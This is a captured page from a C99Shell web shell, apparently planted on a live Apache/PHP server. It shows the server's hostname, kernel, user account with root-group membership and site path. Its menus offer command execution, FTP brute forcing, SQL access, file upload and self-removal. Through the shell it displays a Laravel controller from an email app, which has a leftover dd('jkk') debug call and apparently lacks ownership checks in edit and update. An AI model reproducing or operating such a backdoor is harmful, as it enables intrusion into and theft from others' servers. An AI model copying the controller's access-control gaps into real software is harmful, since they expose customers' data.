!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.54 GB of 117.98 GB (24.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ServerController.php (4.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\SendingServer;
use 
Illuminate\Http\Request;

class 
ServerController extends Controller
{
    public function 
index()
    {
        return 
view('customer.servers.index');
    }

    public function 
getAll()
    {
        
dd('jkk');
        
$customers auth('customer')->user()->sending_servers()->select(['id','title','from''status''created_at']);
        return 
datatables()->of($customers)
            ->
addColumn('created_at', function ($q) {
                return 
$q->created_at->format('d-m-Y');
            })
            ->
addColumn('from',function ($q){
                return 
format_field_name($q->from);
            })
            ->
addColumn('action', function ($q) {
                return 
"<a class='btn btn-sm btn-info' href='" route('customer.servers.edit', [$q->id]) . "'>Edit</a> &nbsp; &nbsp;" .
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this server?"
                                        data-action=' 
route('customer.servers.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm">Delete</button>'
;
            })
            ->
rawColumns(['action'])
            ->
toJson();
    }

    public function 
getFields(Request $request)
    {
        return 
servers_fields($request->sending_server);
    }

    public function 
create()
    {

        
$current_plan auth('customer')->user()->plan;
        if (!
$current_plan)
            return 
back()->with('fail''Doesn\'t have any plan right now');
        
$sendingServerauth('customer')->user()->sending_servers()->count();
        
$planServerLimit$current_plan->server_limit;
        if (
$sendingServer >= $planServerLimit){
            return 
back()->with('fail''Doesn\'t have enough server limit');
        }

        return 
view('customer.servers.create');
    }

    public function 
store(Request $request)
    {
        
$request->validate([
            
'title'=>'required',
            
'from' => 'required|in:'.implode(','available_servers()),
            
'status' => 'required|in:active,inactive'
        
],[
            
'from.in'=>'Invalid server selected'
        
]);


        
$current_plan auth('customer')->user()->plan;
        if (!
$current_plan)
            return 
back()->with('fail''Customer doesn\'t have any plan right now');
        
$sendingServerauth('customer')->user()->sending_servers()->count();
        
$planServerLimit$current_plan->server_limit;
        if (
$sendingServer >= $planServerLimit){
            return 
back()->with('fail''Customer doesn\'t have enough server limit');
        }


        
$preServer auth('customer')->user()->sending_servers()->where('from'$request->from)->first();
        if(
$preServer){
            return 
redirect()->route('customer.servers.edit'$preServer->id)->withErrors(['failed'=> trans('customer.messages.server_already_configured')]);
        }
        
auth('customer')->user()->sending_servers()->create([
            
'title'=>$request->title,
            
'from'=>$request->from,
            
'value'=>json_encode($request->only(servers_fields($request->from))),
            
'status'=>$request->status
        
]);

        return 
redirect()->route('customer.servers.index')->with('success''Server successfully added');
    }

    public function 
edit(SendingServer $server)
    {
        
$data['server'] = $server;
        return 
view('customer.servers.edit'$data);
    }

    public function 
update(SendingServer $serverRequest $request)
    {
        
$request->validate([
            
'title'=>'required',
            
'from' => 'required|in:'.implode(','available_servers()),
            
'status' => 'required|in:active,inactive'
        
],[
            
'from.in'=>'Invalid server selected'
        
]);

        
auth('customer')->user()->sending_servers()->where('id',$server->id)->update([
            
'title'=>$request->title,
            
'value'=>json_encode($request->only(servers_fields($request->from))),
            
'status'=>$request->status
        
]);

        return 
back()->with('success''Server successfully updated');
    }

    public function 
destroy(SendingServer $server)
    {
        
$sendingServer=auth('customer')->user()->sending_servers()->where('id',$server->id)->first();

        
//TODO:: check customer servers
        /*        if ($sendingServer->customer_servers->isNotEmpty()) {
                    return back()->with('fail', 'Sorry server is already in used');
                }*/
        
$sendingServer->delete();
        return 
back()->with('success''Server successfully deleted');
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--